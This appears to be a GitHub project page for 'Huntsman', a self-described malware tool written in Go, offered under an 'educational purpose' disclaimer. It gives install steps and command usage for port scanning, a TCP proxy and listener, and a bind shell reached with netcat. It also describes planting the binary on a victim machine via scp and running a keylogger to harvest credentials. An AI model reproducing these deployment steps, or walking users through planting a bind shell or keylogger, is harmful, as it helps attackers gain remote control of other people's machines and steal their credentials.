A versatile and highly concurrent malware written in golang.

View on GitHub

Go Report Card


A versatile and highly concurrent malware written in Golang.

NOTE - This software is built for educational purpose. I’m not responsible for any kind of loss/inconvienience caused to anyone using this software.


The term Malware is an acronym for Malicious Software, which is software that is used to harm or exploit any electronic device or network, causing chaos. Programming is the way of writing down thoughts and logic, in a way the computers can understand, and while writing a program there is always a scope of introducing errors and flaws or missing out on potentially dangerous scenarios. These flaws in the program are what hackers call vulnerability, and they exploit these bugs to make it behave in a way the programmer never intended. Malware is the way hackers talk to the computer to satisfy this goal. Hence, writing malware is an art to exploit the error in thinking. Huntsman is a malware, which was created keeping speed and efficiency in mind because at the end of the day malware is also a software, a malicious one. Huntsman in written in a language called golang and below are the highlights of what makes it a special kind of malware:

Complete guide

2.Bind Shell
3.Concurrent port scanning
4.TCP proxy
5.TCP Listener


The inspiration of this tool are primarily the following two sources:

  1. Pursuing Advanced Exercutive Program in Cyber Security and Cyber Defense at the esteemed c3i institution of IIT Kanpur and Professor Sandeep Shukla, Rohit Negi and Anand Handa, who helped take baby steps in cyber security world.
  2. The excellent book Black Hat Go: Go Programming For Hackers and Pentesters by Tom Steele, Chris Patten and Dan Kottmann.


Complete Guide


There multiple ways in which you can install huntsman on your machine or a target machine.

  1. Install it using golang compiler using go install or go build

    1. Install Golang
    2. git clone
    3. cd huntsman
    4. go install
  2. Download the binary for you system from RELEASES and save it on on $PATH.

    1. Downloading using wget: wget <huntsman_xyz.tar.gz
    2. Untar it using tar -xf <huntsman_xyz.tar.gz
    3. Place the huntsman binary executable somewhere on $PATH, eg sudo mv huntsman /usr/local/bin

Transfer to a target

Once you’ve compiled huntsman for the target OS and arch, you can transfer it using scp or any tool of choice, for exploiting the victim.
Eg, transfering linux binary to target machine:
scp ./download/linux_amd64 username@address:location

Fast concurrent port scanning

huntsman portscan --help                                                                                    SIGINT(2) ↵  5295  10:30:46
Concurrently scan the provided range (by default 0 to 65535) to check if any port is open

  huntsman portscan [flags]

  -e, --end int32       last port number (default 65535)
  -h, --help            help for portscan
  -s, --start int32     starting port number (default 1)
      --target string   IP/URL address of the machine to be scanned
  -t, --threads int32   the number of goroutines to execute at a time (default 100)

huntsman portScan --target

Run a TCP proxy

huntsman proxy -s <local-port> -t <target-address> -p <target-port>

Run a TCP listener

huntsman listen --port=<port>

Bind Shell

First you need to compile the binary for the target machine using the or anything of choice. Then preferably use scp to transfer the binary to the target machine (see Installation section) then execute it using ./<binary-name> bindshell --port <port-number>. Now the listener is running to which you will be sending instructions to execute.

We will be using netcat as the client for sending the commands over the network.
nc -nv <address-of-target> <port-number>
Youtube link for the video demonstration


A keylogger can log the keystrokes made by a user ,typically on a website. The logged keystrokes most of the times are crucial credentials of the users. Hackers use Credential Harvester (like keylogger) to steal your credentials. Huntsman is the tool that contains a keylogger as well.
Eg. huntsman keylogger -w localhost:8192 -l 8192

This video is the demonstration for using huntsman as a keylogger. Link to youtube video